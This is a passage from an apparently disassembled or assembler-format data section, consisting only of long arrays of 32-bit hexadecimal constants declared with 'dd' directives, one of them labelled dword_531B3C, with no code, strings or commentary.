		dd 7B1A64E6h, 107F52F8h, 975456CEh, 7562FEF9h, 0BD030914h
		dd 40BAA885h, 40DD355h,	0D05A5E52h, 68D82916h, 8E2D5F2Eh
		dd 0E227D0C0h, 8D429D7Ah, 0F49FFED8h, 6B40D23Ch, 0D19DFECEh
		dd 0EFFB6312h, 4A691A4Ch, 0CDF5C461h, 0C8281A86h, 0C62DE866h
		dd 4DF0D423h, 0D60CECEDh, 57B0BDA6h, 955AE040h,	0C4C96FEh
		dd 9AB2010Fh, 8956533Ch, 991D7ED6h, 7FC2E8E7h, 0BB60D338h
		dd 0B30D9D44h, 17A99AFFh, 0DC5E32E8h, 0CC30F7A5h, 17B9D321h
		dd 9F13442Dh, 45C2AF6h,	850FDB0Bh, 3FD0FF9Bh, 28E86856h
		dd 0A0CFF05Fh, 7D764B18h, 5EFC90A0h, 7E97A245h,	0FEE7D011h
		dd 3097FB4Ah, 40081227h, 80E8B45Ah, 58B738ECh, 16F4ECFFh
		dd 5C45E9A6h, 0ACB4D354h, 10745BD4h, 0A9AB17BEh, 4712922Dh
		dd 295C81AFh, 0E9FD85D1h, 20FEEF59h, 0D5685546h, 41CD0444h
		dd 31AE2E1Fh, 802F385Eh, 0EE05D867h, 0D346977Ah, 0C9C4AB60h
		dd 8E10A0FCh, 3298771Ah, 5AFD57AAh, 4ADF1F54h, 0D023BED6h
		dd 5579681Fh, 0F240426Bh, 77F85D04h, 0D2938D84h, 0B184CAF3h
		dd 828095B7h, 0CA5302CBh, 0DA0F525h, 52533FBFh,	262E1C90h
		dd 3D7389FFh, 0BD4C4A4Eh, 0AF7F349Eh, 85D6294Bh, 0C6EB0EC7h
		dd 5F3B26EFh, 0C1E9850h, 0FECE210Fh, 19CAB28Fh,	4A57E289h
		dd 0D4843E73h, 369E61AAh, 99480D06h, 60BA412Eh,	365ECB06h
		dd 0B74042B7h, 0D5D89FB6h, 5AD73103h, 84631068h, 0C192FCAFh
		dd 1FD37CA2h, 5035A760h, 12F71E02h, 0B143926Eh,	0CA0A30DCh
		dd 7650320Eh, 0D4FBF201h, 0C0178204h, 0C54B81AEh, 0BF2C4505h
		dd 54ACDE28h, 0FBF9F613h, 0AC58D4E2h, 461D0880h, 0C540778Fh
		dd 0BFB5CA56h, 5265B720h, 0D704DE2Ah, 0FF55B869h, 85BE8717h
		dd 62BB88h, 1131D7E8h, 327429D3h, 5FBB5B29h, 0B0F43570h
		dd 0C00D42B2h, 588004E7h, 41705E0Ch, 7EC200Dh, 75558FA0h
		dd 88BC9A62h, 7BE309A5h, 907DA04h, 0ACFB537Dh, 0F4084172h
		dd 2DD45FA0h, 8E666E72h, 40628561h, 5ABEFA01h, 94607006h
		dd 60AC4144h, 0F39D772Ch, 8FB001BCh, 6EEF3158h,	0F989EFB9h
		dd 70347D44h, 0F2BFECDCh, 19784A4h, 23538DEFh, 1F277E70h
		dd 0E601A046h, 2F70EB35h, 2BCCCE29h, 0C65FBB25h, 7FB92065h
		dd 0B4207A90h, 2D967C54h, 0A47E5730h, 2DFEC5EEh, 0E98DE0AEh
		dd 1FAED72Eh, 2C0CD049h, 6B080478h, 44688883h, 3CA0B28Ch
		dd 337B8053h, 0BE92BF4h, 0B7169F20h, 3A4F2FFAh,	0C5A14FBCh
		dd 89897958h, 0DAA1DDEDh, 6AAD19E9h, 20CF4144h,	0FB9637EEh
		dd 3E1E928Dh, 499F0CE9h, 0ED5457E7h, 0A0534564h, 0E85A839Eh
		dd 58CA2CEBh, 0C2817E97h, 0E8E4DCBBh, 0AA262C99h, 40EB339Ah
		dd 3D2D0392h, 0B6956A93h, 9C9F735Dh, 60613FCh, 8B33633Fh
		dd 8765B690h, 0DD955667h, 1A1956EFh, 1177F9FBh,	51355295h
		dd 0FFC30161h, 0A0FB55F9h, 0E49A9A3Eh, 0B9C9C348h, 92C5110h
		dd 0C341B9D3h, 26A46AE9h, 4941EBAFh, 0E2D88C07h, 0DB7FCD76h
		dd 890549B0h, 97F5F80Fh, 0E28689ABh, 0B35BC95Ch, 3B30E8C9h
		dd 60159013h, 0FDBAACD8h, 3317625Eh, 0EA0CD101h, 0B8056CEh
		dd 0F530C4EEh, 6C58110h, 0B362AF9Ch, 6B4F46E7h,	0A9D55451h
		dd 0A7037BEDh, 1D71A76Ch, 6861B8BCh, 0D82B6649h, 4C905741h
		dd 0EF23610Ah, 0ED0BDE71h, 0B9F5CB1Ah, 8C3AB708h, 5824684Eh
		dd 26B5136h, 9015B86Ch,	261B8BD5h, 17A4765Ch, 0B4862078h
		dd 0B60DF38h, 3A416B0Ch, 0C6E8B77Ch, 973046ADh,	63E20C0Ah
		dd 45385C49h, 0B5B39301h, 60FA31C3h, 0FAA9DFDFh, 34A02BD1h
		dd 19F10181h, 127D543h,	0EECF30CEh, 67D9C8F7h, 0D823CA27h
		dd 55071287h, 5C432257h, 20BE4475h, 3E907A85h, 78641A0Ch
		dd 76EB561Fh, 8D29500Ch, 0D95C133Eh, 34B6010Dh,	95A6866h
		dd 0F33211A7h, 0CADBB768h, 3BB6FF4Fh, 5B3DBA02h, 80DD2EAEh
		dd 47B749E9h, 0E641BA31h, 0F09D1337h, 2744EE10h, 0F4840Ah
		dd 0A6452E35h, 0AB6C1515h, 4CA70F3Fh, 0F177A762h, 1268C1B4h
		dd 408C3A3Ch, 0AF6B04FEh, 82DDF723h, 496AA025h,	50824779h
		dd 0D90FB068h, 0E958E03Bh, 9DC01751h, 0F16C5AEFh, 18D6BD63h
		dd 0D4BBB209h, 706262FDh, 2DE8257Fh, 66EA1FAh, 0E927FAA3h
		dd 0F64305CAh, 8D13B9A9h, 0A11452C6h, 6BAD7A16h, 0B4216B12h
		dd 0DD98309Dh, 8BFF2BD3h, 7BCB56ECh, 8384C648h,	1ED11BE9h
		dd 8FFABE38h, 20491F2Eh, 0D682BA2h, 394D6272h, 71E84B64h
		dd 10D5A9B5h, 85508048h, 6B2D414Dh, 0C80791ACh,	65362577h
		dd 0FF881E2h, 0A96E700Eh, 7A5E1014h, 0EB190FFCh, 0C9E477A1h
		dd 0ABF727E9h, 0F305B17Ah, 0B6E43D60h, 43EEB612h, 0B7E2E911h
		dd 12589B01h, 10895D6Fh, 3A84722Ch, 0E7B900B4h,	942B5E0Ah
		dd 0A1FB1A4Ch, 672405Fh, 59FC35E6h, 97F4BF88h, 7225D5Ch
		dd 0FEFD1809h, 0C1CDBAF5h, 76F2F43Bh, 568D04Bh,	0BD313A5Eh
		dd 373B1D38h, 292D9058h, 0F2B516AAh, 0EA08830Ch, 0E950CEh
		dd 254BD9BDh, 0A4F5812Ch, 39661202h, 0DF6223E9h, 419589E6h
		dd 5B02558Ch, 1419CC8Fh, 0DFB91080h, 94F22F3Ch,	21169D5Eh
		dd 0B142CEEh, 13ABC048h
		dd 83B86839h, 6A74899Dh, 0C4C0A5FCh, 0F35A4157h, 9D316460h
		dd 6C97D5D0h, 43E91615h, 44C52D1h, 0AAB2DEABh, 0F87A91B3h
		dd 80D8B18Bh, 0A624C22Dh, 0C8282936h, 6FF90705h, 885EEFFCh
		dd 0EB278202h, 718174FEh, 0BB57C39h, 7E5EF701h,	96E9F00Fh
		dd 0C62A0995h, 0C80997A2h, 0C068FF02h, 0C2805900h, 0FA0BFA39h
		dd 902C74D0h, 827C4E43h, 45745C9Ch, 6E01022Ch, 0F0014957h
		dd 804AC31h, 0BE26882h,	506D365Dh, 4AF0635Ch, 1822BA44h
		dd 0ADA4C93Bh, 9F56EB2Eh, 0E99330A2h, 0E9069F9Ch, 28E18298h
		dd 2DEAA8C5h, 105A55F7h, 6986112h, 57F1A716h, 0DF58B82Eh
		dd 5D2F3510h, 0D5C3BDF6h, 6B231A23h, 540D50Eh, 4D9EE00Dh
		dd 57C219BFh, 0EA2FC37Bh, 0FDC2C012h, 0AC0E605Bh, 993F4C4Dh
		dd 5909932Dh, 50AE7955h, 85AA70E9h, 3F3C51DCh, 0FF10EB60h
		dd 0FA72E482h, 7717C11Bh, 614E3322h, 7F02053Ah,	0D493F3A7h
		dd 0A00AC1B1h, 7D8D2B4Dh, 0BC5DBDE4h, 84E95871h, 0F39FEDBAh
		dd 95E9C2FAh, 0B800ECF8h, 7B263D4Fh, 0C03CB35h,	0E8D16384h
		dd 0EEA2504h, 0DA80824Bh, 4D356EB1h, 0CA1FB128h, 333701C2h
		dd 720247E9h, 7FE20443h, 9AC03420h, 0A0DA2C24h,	0BF43CCB4h
		dd 0FA39E519h, 0CF349D4Ch, 0E0022110h, 0DDFECA41h, 0F4573B32h
		dd 0DED4430Ch, 0B682E09h, 6B44D933h, 0B309C645h, 0C0F2D4AFh
		dd 0F3895355h, 49F4D097h, 8A48A8A8h, 13A14A77h,	7BC2B34Eh
		dd 17DA0F35h, 7F2105BBh, 64CFEB02h, 5A676809h, 2889E3D1h
		dd 0BD97E403h, 5700FCDCh, 0FB609C68h, 6BEB9048h, 0C609DB18h
		dd 4E05E9C6h, 432DAD36h, 48A1B302h, 0E7DDE014h,	5D4D177Ah
		dd 0E1AB1771h, 4C612B88h, 5A02DD84h, 97FAB0DDh,	0D7F3CFC2h
		dd 0A82216DEh, 3DCA4B9Dh, 728AEB4Eh, 0A820C68h,	0C2E52856h
		dd 0F4FA406Fh, 336A3082h, 3BB6F455h, 827D957Eh,	0C0525EC2h
		dd 0BC4FC3BCh, 57889C17h, 78DBBF13h, 0AF47A813h, 4ECF96C8h
		dd 9312F80Ch, 2B774BBAh, 0AFC2A974h, 24F67950h,	1003181Bh
		dd 0F548895Eh, 0F94E3FE0h, 0A331FD95h, 0D5123A64h, 199CE6EBh
		dd 0F9EDDFE1h, 0BB5BFF68h, 6412C52Ah, 79D9F3DCh, 64CD572Fh
		dd 25A0986Ch, 6FFC3D71h, 0BC51DF7Ah, 6414D74Bh,	9C95EC76h
		dd 0E05B9740h, 0F5F8E80Ch, 4E1B1CE6h, 0BCD4AD47h, 0A35E5482h
		dd 60AA8B43h, 90E4B699h, 5EF372C5h, 6049B2D8h, 65116454h
		dd 54419575h, 0F57574D5h, 4BDFA21Eh, 34D88BE7h,	25D7AE5Ch
		dd 0BD90C7B2h, 58F4EF30h, 2B0A7E55h, 2768EF8Ch,	19B0377Fh
		dd 0F5184593h, 6F9C5B23h, 310EC446h, 0DE1083EBh, 56BD26E6h
		dd 0EFEF2828h, 0FE41C52Ah, 526A8A7Dh, 44C2FA97h, 8A62F0EEh
		dd 0D645F7BAh, 7014E942h, 28079934h, 0DB0D4C9Bh, 0C6E0BB92h
		dd 4273B659h, 0A07DC0C1h, 0BC4CD998h, 0C85E98AEh, 0A328CC1Ah
		dd 2779320h, 98117BB8h,	0E05D2142h, 8CDEDBDh, 8920A1DCh
		dd 6E97B389h, 0BA48194h, 1D052C66h, 0A435BF73h,	0D27CE27Bh
		dd 0E92EB509h, 0CF8F6h,	5F6E64BBh, 0B92BBF74h, 0DEA96C2Fh
		dd 0C8D72594h, 3B6B97F8h, 0B84C779Bh, 28933109h, 482D425Ch
		dd 265E1643h, 0CE52574Ch, 0B1DE9E2h, 4393B2D6h,	0C70277E9h
		dd 3C5E2E67h, 2F20BB52h, 8AD99FE3h, 0B7CE262h, 2192465Dh
		dd 0E14246C9h, 0CADB0B52h, 0F2BA5CC4h, 0BE09F57h, 2CD71FFCh
		dd 2D034216h, 3A1C8FAh,	0E422F268h, 0F6D34064h,	0C180D105h
		dd 0CEF2831h, 0EBED45D3h, 254E0FEEh, 0FA2B5AF1h, 7ADAEF44h
		dd 7CB0A7FBh, 9D1D534Bh, 47BFA649h, 0F2CC3C56h,	9F712A02h
		dd 0DFE25B08h, 0D9C2070Bh, 0E809CBF8h, 55164E14h, 5DA8CC89h
		dd 4BD5220Ah, 772CBA51h, 0C00A4BE9h, 1248B936h,	0D1623309h
		dd 621E3E1h, 0B63D05Ch,	0B809E266h, 1BD923h, 0FA121D10h
		dd 0DBF72D1Eh, 6EE0D0B1h, 8EAEB812h, 0B9E35EE5h, 6722EA92h
		dd 0E2F9D55Eh, 2F088288h, 866DB87Fh, 4C209540h,	0D7873F7h
		dd 84448h, 14286AB9h, 0D841CF87h, 0EF7A1606h, 17B662Fh
		dd 0CDEAE953h, 0E56EDF49h, 0BB6BF09h, 5A0BCF36h, 0E9088029h
		dd 874595DEh, 0E29E953Dh, 3CC600E1h, 0F744797Ah, 5888FADEh
		dd 0BAC08131h, 6B1E20DAh, 3B9ADA0h, 0EA75AD25h,	8DE3F55Ah
		dd 282C419Fh, 0AAB02E2Eh, 66324078h, 88395A79h,	159C59F1h
		dd 804630FDh, 840FE2D1h, 9329E4Fh, 0EFF098E9h, 4BF5B4Bh
		dd 0BF7D01FEh, 25949E74h, 0A2B468BCh, 0D45310AAh, 1D27AB5Fh
		dd 7F5EE5B2h, 7040F512h, 71B5CE99h, 4AD7C92Fh, 907EF977h
		dd 0CFC53CDDh, 16E1B4B8h, 2E78A4BEh, 77E4EC09h,	6B0022C4h
		dd 0B9101B3Bh, 48DDD443h, 0FB4A7207h, 0F9014F80h, 0E7A434E9h
		dd 41F3AF40h, 755A247Ch, 0AED34E26h, 0A251FE3Ch, 4DE5DD6h
		dd 61D9890Bh, 8000D6CDh, 0F8F09FECh, 74A4135Fh,	0D0CC5EF6h
		dd 0B85C8082h, 320C2160h, 98715816h, 614F2098h,	168EF3B7h
		dd 0FEE05643h, 0CAE98E42h, 12AC64B2h, 0FBFEF120h, 1AF1D1DDh
		dd 0FF73DDC2h, 0DD72E2E9h, 0E9859DE7h, 8CFB2CF1h, 2F04AAA1h
		dd 5C010331h, 80C1064h,	4CC4AB4Bh, 832B9409h, 48295C20h
		dd 97405A34h, 0D4C741A4h, 0AAB21C9Fh, 70E26827h, 0E5179548h
		dd 3F2F06A8h, 6BD4F92Eh, 0CC0290FEh, 573B5140h,	0E51F10F8h
		dd 7402296Ch, 89D7EFE9h, 0C4ECFE9Fh, 6A8CA147h,	0ABC468E2h
		dd 0E78A4469h, 0E6F05E0Bh, 0C90609B5h, 0BC69888h, 269B5502h
		dd 2A6496FCh, 125B79E0h, 104D828h, 0B65274ABh, 0B7B06A90h
		dd 9DCF74E9h, 11C19E93h, 91C83AD6h, 59E27AB6h, 500F977h
		dd 6F0125D3h, 0FBB7D029h, 0B1A2E4C7h, 2B6C7BE0h, 608425E9h
		dd 0E1EEBBFFh, 0D07E109Bh, 940E15D8h, 74C54A4Fh, 7B792BBh
		dd 77CEFA80h, 0E59044B4h, 0FF7B79A0h, 9F9F67ABh, 0B66AD517h
		dd 0FBE731C0h, 0F42E9768h, 5CB51CC2h, 7957FA16h, 5206688Ah
		dd 0A17E4777h, 373608DEh, 50806805h, 0E600BD8Dh, 16E0548h
		dd 0EBD15B5Dh, 2B448A0Fh, 71FA4E16h, 0B0773BCh,	0FF281F58h
		dd 88D200E4h, 0C98149EEh, 0CD4B5423h, 1741B001h, 0F1F0425Fh
		dd 70042651h, 30EF26B4h, 7E5C04Eh, 89F58007h, 0C9D2EA20h
		dd 0C7D5AEF6h, 5D091FB6h, 0C70C2DF3h, 0EC5422D0h, 0FECB2742h
		dd 57D83CF4h, 0C35D4968h, 25F5E91Ch, 390907Fh, 0EC40D3D0h
		dd 9CAFB515h, 452FE940h, 3D1864B7h, 0AD17FE30h,	2A0520E2h
		dd 558401Eh, 60890AAh, 97D685Fh, 481A2085h, 2821BF80h
		dd 5AD31358h, 88808D17h, 2D99E7EFh, 59019DC8h, 7F7C6752h
		dd 8413CFCh, 0D7D05E3Fh, 48DDBFDDh, 0CDBC7620h,	4513B8DCh
		dd 6114B5ADh, 0F46360A0h, 2DEDB880h, 1506F97Dh,	0EA0FD133h
		dd 3E4B0E3Ch, 5DFCDCCBh, 6A5AFA9Bh, 0BF903CABh,	9712B40Bh
		dd 331FE23h, 0DC68ED4Fh, 0C0EE364Bh, 94B8E979h,	1BE854D2h
		dd 0F2F0D512h, 0B951006Ah, 18815EA2h, 0BA661BDh, 2E1FC6E9h
		dd 64492B31h, 461B417Bh, 705BEA30h, 91DE0B00h, 0D508C3C3h
		dd 0DB162667h, 87F4A772h, 15CFBF00h, 98F789A4h,	0DCE7807Bh
		dd 0A62FE9CDh, 23C14F49h, 66019787h, 60FCC15Bh,	0D391BF8Bh
		dd 0B5516660h, 0D5F60179h, 8E0FC5FEh, 56126E62h, 0D29EA4BFh
		dd 8A4E7465h, 0FFC28B09h, 44401162h, 0EA281856h, 660BC148h
		dd 0F63B6563h, 1308A012h, 0BA2D90E9h, 0FC4A77DEh, 40358137h
		dd 0AD6E5786h, 9AD62E08h, 0B724C42Dh, 0FD2531DCh, 464B06E5h
		dd 4BDB98B1h, 5C000958h, 53283DC6h, 1924CB51h, 0BB082DF8h
		dd 5D660B1Bh, 550C4ED4h
dword_531B3C	dd 3EEF0A41h, 50F5464h,	29C778B9h, 0E2DC6F8h, 0C504BE80h
		dd 76B0ACC1h, 0A1415524h, 0B33BAD25h, 0D9CD11DBh, 68D52887h
		dd 0E9DEB502h, 0B0E578D8h, 8AB2133Bh, 0DC28ABC0h, 0D402AE9h
		dd 53C0B571h, 1EFAC631h, 3CF5105Ah, 30D6C1F7h, 10FCB92Fh
		dd 21167E90h, 5B33E6C8h, 88A6A7C1h, 7855BA02h, 9E86A034h
		dd 75343B7Dh, 177284CAh, 5F5DCA08h, 70470A0Eh, 0A4980C65h
		dd 1603F605h, 0F7B4239h, 5F68DA8Fh, 0E90B2573h,	8302AEB9h
		dd 94D222A8h, 6AEE7682h, 1D155A4h, 3992529Fh, 0B26B61F1h
		dd 0F2EDF425h, 359A0B2Dh, 0EB1D8528h, 6214E57Fh, 845185EFh
		dd 0FD92C9A9h, 8406E7BBh, 6CED4917h, 6570B204h,	0EAFFC238h
		dd 6A7CBB00h, 30647A39h, 0C62BD5EBh, 0A82532F1h, 8238521Eh
		dd 4A27D08h, 771A28E1h,	19498959h, 852E1DBFh, 0D29DFA54h
		dd 0B82E70C9h, 1BA7BDF1h, 0AD77A25Dh, 9B5485Ah,	148BFD5Fh
		dd 6E0B7F8h, 0F17987DEh, 0CACA083Ch, 5F64CEAFh,	5DD063BBh
		dd 9F4BA04h, 0ADC8731Fh, 3B3E4519h, 938DACE7h, 0A7BD7FE9h
		dd 0DCF8E010h, 9FEEC08h, 14C47561h, 24E1882Ch, 671BF100h
		dd 25E94D04h, 815E5221h, 0CD9075E9h, 15027E05h,	0D0293FBBh
		dd 5A07842Dh, 0F883B1B9h, 0C0F44A42h, 4D2A61A0h, 30C1463Bh
		dd 0D1081206h, 1952723h, 6140B6EAh, 59B7297Ch, 8BF944BDh
		dd 5CE91534h, 3DFB4FC2h, 821639B7h, 79FEFB4Ch, 7734998Fh
		dd 0E12C2A0Ah, 0CCAC8014h, 68419994h, 5FC20919h, 0B150C2F6h
		dd 0FFF2977Fh, 886CE822h, 0C9FCBECFh, 0F17F4463h, 970820A1h
		dd 0E9B182FDh, 2721543Eh, 5D25EAF6h, 107D2F3Ah,	9F70B6D2h
		dd 6B8FED59h, 0AF158F5Ch, 0D79DF35Ah, 5686C27Ah, 504001C1h
		dd 30810F84h, 3ED85D4Dh, 36392C3h, 958B52C8h, 956D3771h
		dd 4904FF2Ah, 63FFE83Ch, 1FE4C6D3h, 64B7858Bh, 5F78A429h
		dd 4D4E853h, 4ED23D5Fh,	2827C9AEh, 5F855EB5h, 0B6BF0094h
		dd 7012EE8h, 5EA0E962h,	0BB2D12EDh, 0BB4B918Fh,	5AE966D8h
		dd 0BB5D8430h, 0CC9C4304h, 3EA9371h, 7553EA8Ah,	4E0E77DEh
		dd 0BFD7100Ch, 0C389DF39h, 2E404BE9h, 381EDCB8h, 983D0BDBh
		dd 5017923Dh, 612F2E79h, 0CA0E13B8h, 203D2DF3h,	6E8BF3F6h
		dd 2B2C7B2Dh, 2D1638B4h, 0D889DE9Ah, 1E12375h, 0D7128AE9h
		dd 47F55109h, 0E8853D9Dh, 0C2C8310Ah, 5AC9D846h, 27A33E52h
		dd 0D327CED0h, 0F5594087h, 6232B4CBh, 4A33A440h, 6859DC2Ch
		dd 464C3425h, 18284E0Ah, 5F14BE56h, 6854EA05h, 13202127h
		dd 94FFBCE1h, 0E2688446h, 51DDB372h, 13EB2E4Dh,	5788E48Dh
		dd 2085545Ch, 0E3C12835h, 0EE2B2FFAh, 7488D559h, 0B28025F2h
		dd 253EB81h, 0C9FD6CE2h, 0FE76410Ah, 0A9ECCACEh, 4B97F6BDh
		dd 5B618A02h, 638764DEh, 0DF39B313h, 0F425867Bh, 545A02D4h
		dd 7E41C2E0h, 606FE1DEh, 2A4FC87Ch, 0B05793C8h,	0D45F416Fh
		dd 94950233h, 0B71B9A66h, 6C0317Eh, 0B06AF969h,	0F7A05FBAh
		dd 0B0B64FEDh, 0E809FD13h, 36CCC108h, 0C27C0B8Ah, 0A4E631A2h
		dd 0F777E913h, 0F30BB88Ch, 0CB76800h, 58295405h, 4083E0C1h
		dd 36E1D589h, 496CAE3Ah, 59C82729h, 4055925Fh, 0B7B8F051h
		dd 2D4FCCD1h, 0CEBF172Eh, 312C438Bh, 72010D6h, 290F1897h
		dd 0E957C6E8h, 21DEBDC3h, 0F47CB009h, 10F173BDh, 5FED3A69h
		dd 2519B94Fh, 65B65801h, 0BBEA39A7h, 32BDAA1h, 61C41573h
		dd 7909EE06h, 7F180C95h, 978F70ECh, 0AAC73568h,	7EE3600h
		dd 1AF1B850h, 110A482Ch, 3250C50h, 0C13F6921h, 640407EAh
		dd 0B11A5914h, 0CCA21FBBh, 844658C7h, 0D867903Eh, 78E9C28Fh
		dd 813774CDh, 457DEF81h, 2C23C08h, 10C43266h, 0B559FA5Eh
		dd 1E459FF4h, 0A2BB33D4h, 56D39F21h, 5AED6757h,	0EB83D1A7h
		dd 580855FFh, 0D6C332BDh, 0EB0A3561h, 53F92EF9h, 2CE2A2F2h
		dd 7E6C617Fh, 20F4EF05h, 97074A40h, 680468FCh, 0FF8C4194h
		dd 305C0BB7h, 825F5BFAh, 7D8FEAAAh, 0F8207F70h,	0A682BFB4h
		dd 0B20F08B1h, 0FD59EB2h, 14D0E12Fh, 4B8BE5BFh,	47EB997Fh
		dd 875F8D28h, 0A2A4041Dh, 1C6817E4h, 37FC70AEh,	49484D7Eh
		dd 0CAFD178Fh, 8C84CBFCh, 8944B812h, 2D2D7456h,	5B72AFAh
		dd 7790C69Ah, 2D3D46BFh, 0CFDE233Eh, 81F5A43Fh,	3D930B20h
		dd 5D9542Dh, 0EC7B4D68h, 561CC102h, 0AC2B32FBh,	0FBC0B4C3h
		dd 27784D10h, 7DE28EE9h, 6B8F597Dh, 20611CD5h, 0F1FE48Dh
		dd 55A5488Ah, 0F9F9B8BBh, 0A5AE6CFEh, 0F85762BEh, 552549E1h
		dd 7CC0FBE6h, 7D4623E1h, 8D24250Ch, 0C5A4B1C5h,	0DD390202h
		dd 87E0401Ch, 135E0B27h, 0B7D6DEF7h, 6B3CF601h,	462C5934h
		dd 62F68A69h, 20CB563h,	4F78CBB5h, 82DF69F6h, 77AA31CAh
		dd 4EB62560h, 5D435525h, 58059AC5h, 28BFFEE1h, 64018E4h
		dd 4A893AE9h, 0E823FADFh, 5F4386BAh, 0F49CEC52h, 5BD9EA21h
		dd 0BA13102Dh, 0DDBDAC10h, 55076807h, 40E5100Eh, 8A267F00h
		dd 0F7025D0Ch, 0BDDEE9DDh, 0B01AC4FEh, 0C482B26Fh, 0FB86ADAFh
		dd 8F1371B7h, 0FA374B72h, 0B32B34DDh, 0D7E9423Dh, 7E557A4Ah
		dd 232104DCh, 616EE36h,	0ED8250A8h, 9F8F2737h, 0D9A09B81h
		dd 0E4128F0h, 1711DB68h, 82D19DEBh, 685E2F50h, 8A026B77h
		dd 0AD89DEF8h, 18FFFFEh, 0D8F4A9D9h, 0CE8000F8h, 0B05066D1h
		dd 0F0BD2832h, 0EED027CAh, 8079FA50h, 81E1F54Eh, 6004F8C0h
		dd 0E95BF701h, 60C9B2D9h, 7AF3DF5Dh, 0C902C5A5h, 127D15EAh
		dd 0CE58408Dh, 4D91176Fh, 5AD5E905h, 0E90128EBh, 680A2725h
		dd 2473C75Ch, 8A67DDh, 465BE50Eh, 0C64A83E9h, 28B80FCCh
		dd 1B2F002h, 2C2F1EEEh,	60D6297Bh, 39393C60h, 0A6E90BA4h
		dd 49A17905h, 0D6BD5378h, 0DA577A6Dh, 103C243Eh, 231B41ECh
		dd 0E781E0D4h, 44268E09h, 3F98001h, 0C57D6BE9h,	0AE425D68h
		dd 0E56CAA8Dh, 484A24h,	0D8EF269Ch, 0F45EEE9h, 80DE5FEEh
		dd 13AE5913h, 9397B272h, 0F00054ADh, 813D8247h,	0DD3F4F2h
		dd 0FE9AB43h, 12537E27h, 0FF957FEh, 8AD7D310h, 22A058F1h
		dd 10FEB76Fh, 750EA9C2h, 14FE0218h, 1387D9D0h, 0CDFB52F5h
		dd 0BC5FE873h, 388E7AF5h, 4B065311h, 0D55F5544h, 6644C140h
		dd 0F0ED53D1h, 0BF2865DFh, 0F4B78982h, 0D5923D12h, 0C1B9AC25h
		dd 7DB46A74h, 9782A7F4h, 1182EA46h, 0C821BB10h,	2E134C9Fh
		dd 6BFE9930h, 0C287ACDEh, 0EF1B6C5h, 14716853h,	0C4DF8C2Bh
		dd 615C7998h, 575827EFh, 0D01C912h, 0EA3B685Ah,	0BFDC634Bh
		dd 0A5208A8Bh, 9E0E0090h, 0C06A2363h, 0A2660CE3h, 312D905Bh
		dd 0F71A7125h, 4FB474DFh, 0BB0416B0h, 31B3ABA2h, 0BC5F3A0h
		dd 3F435A5Ch, 83FA8FDh,	9A115A26h, 1258277Ch, 88038A2Fh
		dd 1002BB0Dh, 5F7BB151h, 0D7545F59h, 25657A04h,	64F127EAh
		dd 92EE13EBh, 0D01A19B3h, 0F16AF56Ah, 18EC3A19h, 0DFDCBAD2h
		dd 4D2667E9h, 57A265ACh, 1256B8E6h, 2537BDA4h, 34CBF160h
		dd 0EE310035h, 0F83055Dh, 292F4DCDh, 1FEFE0F0h,	0AF3E4B79h
		dd 0F7048142h, 27840D2h, 34952E53h, 0CB092583h,	7A840275h
		dd 0FB6801ECh, 3CD1516Eh, 0E2BA0001h, 50B20B0Fh, 4F32D609h
		dd 1D00DD5Eh, 850F5CCAh, 0FFED27ACh, 0C6095465h, 7DB509C2h
		dd 81498D7Bh, 0F458CAE5h, 0CCE7830h, 0A6207EFh,	6009F4Ch
		dd 0F201ED0Ch, 9BD555Eh, 117346B4h, 5C550B5Fh, 9E0C6C8Ah
		dd 218B5112h, 0E8179FEDh, 8FDBB839h, 3EBF888Fh,	0AF743F96h
		dd 2EE99778h, 0C98B06C2h
		dd 515EFDD2h, 5EE2E719h, 0AC2E3A25h, 0E30C63F2h, 4436FA4Ch
		dd 82088240h, 0A6FF575h, 0B853172Eh, 0C07216B9h, 0D7629259h
		dd 819EC43Ah, 10C38559h, 3059E6EDh, 0C5F65574h,	89257C0Fh
		dd 0B9EC7FA2h, 0F354EA80h, 2DC865C4h, 482AE8BAh, 18D2B73Eh
		dd 117E0909h, 38558208h, 413E23Fh, 9337EB76h, 59AC1997h
		dd 81999D6h, 331B1770h,	0EA11C35Eh, 0CBECD6FEh,	0E0F322D7h
		dd 0B07F0B68h, 0A8C2C4F2h, 0B5A1BDCAh, 8725FC66h, 25A5F220h
		dd 76426F0h, 0D4A3F597h, 7005AD30h, 631242BAh, 2CC2C700h
		dd 98581B6Bh, 0E3677FA6h, 179FE63Dh, 0FE7E57DBh, 5C4BCE04h
		dd 184ECBBFh, 0EF192542h, 0C3011049h, 2DCC101Dh, 6E0E4F33h
		dd 0AD25C3C6h, 4F79663Bh, 0B8368088h, 0E748D5BDh, 16C23ED6h
		dd 1952A962h, 3002DDAEh, 7341BF22h, 9F6AA96Ah, 6BBC7256h
		dd 0F17E58F2h, 81984CC7h, 0CA127FEBh, 0F477616Ah, 839A9BF2h
		dd 0B0988817h, 33A41987h, 7689318h, 87BC5B5Dh, 52CE44CAh
		dd 0BB3A3F03h, 2B896A0h, 260670FDh, 9488EF01h, 0E95D0408h
		dd 39A171h, 0AB0801CAh,	270C1860h, 59C69FF9h, 2210CD29h
		dd 0FD5D2FBAh, 68E19793h, 57972DEh, 472C0A70h, 157B0680h
		dd 86E6C40Eh, 263814E4h, 3B1685F6h, 987BE700h, 2DE985B5h
		dd 61F9D0D8h, 6D042A4Ah, 2DEBFEBBh, 0EC82BF3h, 0E61324A8h
		dd 0C8E70CABh, 96955A2Eh, 14A10BC2h, 43223991h,	147043E9h
		dd 0A11C7F97h, 4F75F6F8h, 0D15DA80Bh, 51705E6h,	0C348E100h
		dd 0F201349Fh, 143A25E9h, 394B9A46h, 0E7D14081h, 413CBD30h
		dd 7EFCF5A2h, 0CAFFA684h, 5B5719C4h, 5007A20h, 23501CEAh
		dd 0AACBC8D9h, 0E3B17E64h, 7EB8B951h, 9E980B75h, 1D6415Fh
		dd 0A4541206h, 4313EF07h, 55B018A8h, 869565E9h,	28A57C3h
		dd 4AE72260h, 0F0D7E883h, 8D350F7Bh, 8172B9Ch, 6601BAF6h
		dd 0F1B05058h, 0DA71B361h, 0C039FA2Ah, 0BFA4E820h, 0C5D56E62h
		dd 0E6CF895Ch, 0F65250CAh, 4077AC9h, 29F8188Eh,	3A1337D5h
		dd 0C2D3B9ECh, 591BD468h, 6EFA82ABh, 704108CFh,	6513D7DCh
		dd 67C5D286h, 52FFF4BAh, 25F78948h, 0B7B7C060h,	0E4EAB8DEh
		dd 518879DCh, 6840A129h, 4BF20E8Eh, 0DABF430h, 0CA3041Dh
		dd 1194E781h, 0C0711F5Bh, 9C441F6Eh, 668A815Ah,	6B543568h
		dd 1D8151D4h, 0A5721216h, 0E11EF06h, 340B0C76h,	0FF73D92Ch
